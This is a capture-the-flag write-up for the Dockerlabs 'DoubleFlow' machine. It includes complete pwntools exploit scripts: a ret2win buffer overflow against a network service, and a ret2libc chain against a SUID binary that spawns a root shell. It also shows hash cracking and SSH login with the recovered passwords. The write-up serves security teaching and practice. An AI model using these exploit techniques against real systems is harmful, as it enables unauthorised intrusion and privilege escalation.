DoubleFlow is a hard-difficulty Linux machine from Dockerlabs, created by 4bytes. This challenge showcases a multi-stage attack path involving two distinct buffer overflow vulnerabilities and hash cracking. The name “DoubleFlow” refers to the two buffer overflow exploits required to complete the machine.

Machine Summary

Property Value
Platform Dockerlabs
Difficulty Hard
OS Linux (Debian)
Author 4bytes

Skills Required

  • Network enumeration and service discovery
  • Binary exploitation (x86-64 buffer overflow)
  • Return-Oriented Programming (ROP)
  • ret2win and ret2libc techniques
  • Hash identification and cracking
  • SUID binary exploitation

Attack Path Overview

www-data (ret2win on app1) → P1 hash → pepe (hash cracking + SSH) → root (ret2libc on app3 SUID)

Deployment

We deploy the machine using the standard Dockerlabs auto-deploy script:

unzip doubleflow.zip
sudo bash auto_deploy.sh doubleflow.tar


                    ##        .         
              ## ## ##       ==         
           ## ## ## ##      ===         
       /""""""""""""""""\___/ ===       
  ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
       \______ o          __/           
         \    \        __/            
          \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                        

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

The machine is now accessible at 172.17.0.2.


Reconnaissance

Port Scanning

We begin with a comprehensive Nmap scan to identify open ports and enumerate running services:

sudo nmap -p- --open --min-rate 5000 -Pn -n -sSVC -vvv 172.17.0.2 -oN scan_doubleflow.txt

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
39817/tcp open  unknown syn-ack ttl 64
| fingerprint-strings: 
|   GenericLines: 
|     Contrase
|     Denegado
|   NULL: 
|_    Contrase

We discover three open ports:

Port Service Notes
22 SSH OpenSSH 9.2p1, too recent for known exploits
80 HTTP Apache 2.4.61, static page with no useful content
39817 Unknown Custom service requesting “Contraseña” (password)

Web Enumeration

The web page at port 80 shows a simple message “THIS WEB CAN’T BE HACKED”. We perform directory enumeration with Gobuster:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://172.17.0.2/

javascript           (Status: 301) [Size: 313] [--> http://172.17.0.2/javascript/]
app1                 (Status: 200) [Size: 16312]
server-status        (Status: 403) [Size: 275]

We discover a downloadable file named app1. Let’s analyze it:

file app1
app1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, 
      interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

This is a 64-bit Linux executable. When we run it, it starts listening on port 17562:

./app1
Escuchando en 0.0.0.0:17562!

Sending a long input causes a segmentation fault, indicating a classic buffer overflow vulnerability.


Initial Foothold

Understanding Buffer Overflow

Before diving into exploitation, let’s understand what a buffer overflow is and why it’s dangerous.

A buffer overflow occurs when a program writes more data to a buffer than it can hold. In C programs, buffers are typically arrays allocated on the stack. When the program doesn’t validate input length, an attacker can write beyond the buffer’s boundaries, overwriting adjacent memory.

The stack grows downward in memory, and each function call creates a stack frame containing:

+------------------+  Higher addresses
|  Function args   |
+------------------+
|  Return address  |  <-- Where execution returns after function ends
+------------------+
|  Saved RBP       |  <-- Previous frame pointer
+------------------+
|  Local variables |  <-- Including our vulnerable buffer
+------------------+  Lower addresses

By overflowing the buffer, we can overwrite the return address. When the function ends, instead of returning to the legitimate caller, execution jumps to whatever address we placed there.

Binary Analysis

We analyze the binary’s security protections using checksec:

pwndbg> checksec
File:     /home/user/Machines/app1
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No
Protection Status Implication
RELRO Partial GOT entries are writable, allowing GOT overwrite attacks
Stack Canary None No random value protecting return address, we can overflow freely
NX Enabled Stack is NOT executable, shellcode injection won’t work
PIE Disabled Fixed memory addresses at 0x400000, no need to leak addresses
Stripped No Debug symbols available, easier to analyze

Let’s understand each protection in detail:

Stack Canary: A random value placed between local variables and the return address. If an overflow occurs, the canary gets overwritten, and the program detects the attack before returning. Without a canary (as in this case), we can freely overwrite the return address.

NX (No-Execute): Marks the stack as non-executable. In older exploits, attackers would inject shellcode onto the stack and jump to it. With NX enabled, attempting to execute code on the stack causes a segmentation fault. This forces us to use Return-Oriented Programming (ROP) instead.

PIE (Position Independent Executable): When enabled, the binary is loaded at a random address each time it runs. Without PIE, addresses are fixed, making exploitation significantly easier since we can hardcode addresses in our exploit.

Key insight: NX is enabled, which means we cannot inject and execute shellcode on the stack. However, since PIE is disabled and there’s no stack canary, we can use Return-Oriented Programming (ROP) techniques.

Finding the Vulnerability

We examine the binary’s functions:

pwndbg> disass testing_function
   0x00000000004013e1 <+533>: lea    rcx,[rbp-0x130]    # Buffer address
   0x00000000004013eb <+543>: mov    edx,0x400          # Read up to 1024 bytes
   0x00000000004013f5 <+553>: call   0x401080 <read@plt>

The vulnerability is clear: the buffer is 0x130 (304) bytes, but read() accepts up to 0x400 (1024) bytes. This is a classic stack-based buffer overflow.

Finding the Offset

We use a cyclic pattern to determine the exact offset needed to overwrite RIP:

pwndbg> cyclic 400
aaaaaaaabaaaaaaacaaaaaaadaaaa...

pwndbg> run
# Send the pattern via netcat to port 17562

Program received signal SIGSEGV, Segmentation fault.
RSP  0x7fffffffdc78 ◂— 'raaaaaaasaaaa...'

pwndbg> cyclic -l raaaaaaa
Found at offset 312

To control the return address, we need 312 bytes of padding.

Discovering the Hidden Function

Before attempting a complex ret2libc attack, we examine the binary’s strings:

strings app1 | grep -E "secret|function"
secret_function
testing_function

There’s a hidden function called secret_function. Let’s examine it:

objdump -d app1 | grep -A10 "<secret_function>"
00000000004011b6 <secret_function>:
  4011b6: push   %rbp
  4011b7: mov    %rsp,%rbp
  4011ba: lea    0xe47(%rip),%rax
  4011c1: mov    %rax,%rdi
  4011c4: call   401030 <puts@plt>
  4011c9: nop
  4011ca: pop    %rbp
  4011cb: ret

This function simply calls puts() to print something. Checking the strings reveals what it prints:

strings app1 | grep "P1"
P1 --> 02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb

This is a ret2win scenario. The binary contains a “win” function that we’re not supposed to reach through normal execution. By exploiting the buffer overflow, we can redirect execution to this function to leak the hash.

Introduction to Return-Oriented Programming (ROP)

Since NX prevents us from executing injected code, we use Return-Oriented Programming. Instead of injecting new code, we chain together small snippets of existing code called gadgets.

A gadget is a sequence of instructions ending with ret. The ret instruction pops the next address from the stack and jumps to it. By carefully crafting our payload, we can execute a chain of gadgets:

+------------------+
| Gadget 1 address |  --> ret jumps here
+------------------+
| Gadget 2 address |  --> Gadget 1's ret jumps here
+------------------+
| Gadget 3 address |  --> Gadget 2's ret jumps here
+------------------+

In our case, we have a simple ret2win: we just need to jump to secret_function. No complex gadget chains required.

Building the Exploit

Since NX is enabled, we cannot execute shellcode. However, we can redirect execution to existing functions. The exploit structure is:

payload = padding (312 bytes) + ret_gadget + secret_function_address

Why the ret gadget? The x86-64 ABI requires the stack to be 16-byte aligned before call instructions. When a function like puts() uses SSE instructions (for optimized string operations), misalignment causes a crash. The extra ret instruction pops 8 bytes from the stack, adjusting alignment. This is a common pitfall in x86-64 exploitation.

How to identify alignment issues: If your exploit segfaults inside a libc function (like puts or printf) rather than at your target address, try adding or removing a ret gadget.

from pwn import *

ret = p64(0x401016)            # ret gadget for stack alignment
secret_function = p64(0x4011b6)

padding = b'A' * 312
payload = padding + ret + secret_function

r = remote("172.17.0.2", 17562)
r.send(payload)
print(r.recvall())

Executing the exploit reveals the P1 hash:

P1 --> 02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb

Lateral Movement

Cracking the P1 Hash

The hash appears to be SHA256 based on its characteristics:

  • Exactly 64 hexadecimal characters (256 bits)
  • No special prefixes (like $6$ for SHA512crypt)
  • Appears to be a raw hash without salt

Hash identification tip: The length and format of a hash often reveals its type:

  • 32 hex chars = MD5
  • 40 hex chars = SHA1
  • 64 hex chars = SHA256
  • 128 hex chars = SHA512

We use hashcat with mode 1400 (SHA256):

echo "02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb" > hash.txt
hashcat -m 1400 hash.txt /usr/share/seclists/Passwords/rockyou.txt

02e5e6ea15b5d3088af6edf49269a7221eb88dc32747420dc2e482110f649deb:tiggerjake

Status...........: Cracked

The password is tiggerjake.

Accessing the Mystery Service

We use this password with the service on port 39817:

nc 172.17.0.2 39817
Contraseña: tiggerjake
pepe:8f47d09d47172c5d9a5714ba332b33301301014d7926b7a84cb577a8b465f680@localhost

We receive credentials for user pepe with another hashed password. Cracking the second hash:

hashcat -m 1400 hash2.txt /usr/share/seclists/Passwords/rockyou.txt

8f47d09d47172c5d9a5714ba332b33301301014d7926b7a84cb577a8b465f680:plasticfloor17

SSH Access

We can now SSH into the machine:

ssh pepe@172.17.0.2
pepe@172.17.0.2's password: plasticfloor17

pepe@aa29efee64c1:~$ whoami
pepe

Privilege Escalation

SUID Binary Discovery

We search for privilege escalation vectors:

pepe@aa29efee64c1:~$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
...
/home/pepe/app3

There’s a custom SUID binary owned by root in the user’s home directory:

pepe@aa29efee64c1:~$ ls -la /home/pepe/app3
-rwsr-xr-x 1 root root 16080 Jul 23  2024 /home/pepe/app3

Binary Analysis

We transfer the binary to our local machine for analysis:

scp pepe@172.17.0.2:/home/pepe/app3 ./

strings app3 | grep -E "gets|system|vuln|asmf"
gets
vuln
asmf

Critical finding: The binary uses gets(), an infamously unsafe function that reads without bounds checking. This guarantees a buffer overflow vulnerability.

The binary also contains a function called asmf. Let’s examine it:

pwndbg> disass asmf
Dump of assembler code for function asmf:
   0x0000000000401166 <+0>: push   rbp
   0x0000000000401167 <+1>: mov    rbp,rsp
   0x000000000040116a <+4>: pop    rdi
   0x000000000040116b <+5>: nop
   0x000000000040116c <+6>: pop    rbp
   0x000000000040116d <+7>: ret

This function is actually a crafted ROP gadget: pop rdi; pop rbp; ret. This allows us to control the RDI register, which is used to pass the first argument to functions in x86-64.

Determining the Offset

pwndbg> cyclic 200
pwndbg> run
# Send pattern

RSP  0x7fffffffdc48 ◂— 'raaaaaaasaaaa...'

pwndbg> cyclic -l raaaaaaa
Found at offset 136

The offset is 136 bytes.

Checking ASLR Status

pepe@aa29efee64c1:~$ cat /proc/sys/kernel/randomize_va_space
0

ASLR is disabled in the Docker container, meaning libc addresses will be consistent across executions.

What is ASLR? Address Space Layout Randomization loads libraries at random addresses each time a program runs. With ASLR enabled, we would need to first leak a libc address before calculating where system() and "/bin/sh" are located. Since ASLR is disabled (value 0), addresses are predictable.

Understanding ret2libc

Since app3 doesn’t have a convenient “win” function like app1 did, and system() isn’t in its PLT, we need to call system() directly from libc. This technique is called ret2libc.

The goal is to execute system("/bin/sh"). In x86-64, the first function argument is passed via the RDI register. Our ROP chain needs to:

  1. Load the address of "/bin/sh" into RDI
  2. Call system()

The asmf function conveniently provides a pop rdi gadget, allowing us to control RDI.

Gathering libc Information

Since the binary doesn’t contain system() in its PLT, we need to use ret2libc. We gather the necessary addresses:

pepe@aa29efee64c1:~$ ldd /home/pepe/app3
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7ddb000)

pepe@aa29efee64c1:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep " system"
1023: 000000000004c490    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5

pepe@aa29efee64c1:~$ strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/sh"
196031 /bin/sh
Component Offset Address
libc base - 0x7ffff7ddb000
system 0x4c490 0x7ffff7e27490
/bin/sh 0x196031 0x7ffff7f71031

Building the ret2libc Exploit

The exploit structure:

padding (136) + pop_rdi_rbp + "/bin/sh" addr + dummy_rbp + system addr
from pwn import *

shell = ssh('pepe', '172.17.0.2', password='plasticfloor17')
p = shell.process('/home/pepe/app3')

libc_base = 0x7ffff7ddb000
system = libc_base + 0x4c490
binsh = libc_base + 0x196031

pop_rdi_rbp = p64(0x40116a)  # pop rdi; pop rbp; ret
payload = b'A' * 136 + pop_rdi_rbp + p64(binsh) + p64(0) + p64(system)

p.sendline(payload)
p.interactive()

Note: During initial testing, we tried adding an extra ret gadget for stack alignment, which caused the exploit to fail. The correct payload does not require the extra alignment in this case.

Executing the exploit:

python3 exploit.py

[+] Connecting to 172.17.0.2 on port 22: Done
[+] Starting remote process on 172.17.0.2: pid 314
[*] Switching to interactive mode
De aqui no pasas: # whoami
root

We have achieved root access.


Conclusion

This machine demonstrated a comprehensive attack chain involving multiple buffer overflow exploits:

Phase Technique Key Vulnerability
Initial Access ret2win (64-bit) Buffer overflow in app1 with leaked secret_function
Lateral Movement Hash cracking SHA256 passwords cracked via rockyou wordlist
Privilege Escalation ret2libc (64-bit) SUID app3 with gets() and disabled ASLR

Key Takeaways

  1. Always check strings first. Before complex reverse engineering, strings revealed both the hidden function and the P1 hash, dramatically simplifying the initial exploit.

  2. ASLR disabled is a critical misconfiguration. With ASLR enabled, the ret2libc attack would require a libc leak, adding significant complexity.

  3. Custom ROP gadgets can be planted. The asmf function was clearly designed to provide a pop rdi gadget, demonstrating how CTF authors craft intentional exploitation paths.

  4. Stack alignment matters. On x86-64, incorrect stack alignment can cause crashes even when all addresses are correct. Sometimes adding a ret gadget fixes this; sometimes it breaks things.

  5. The “DoubleFlow” name was a hint. Both exploitation stages required buffer overflow techniques, living up to the challenge’s name.

Alternative Approaches

  • Use one_gadget to find execve gadgets in libc, avoiding the need for pop rdi
  • Perform a libc leak via puts@plt to make the exploit work with ASLR enabled
  • Analyze the mystery service binary on port 39817 for additional vulnerabilities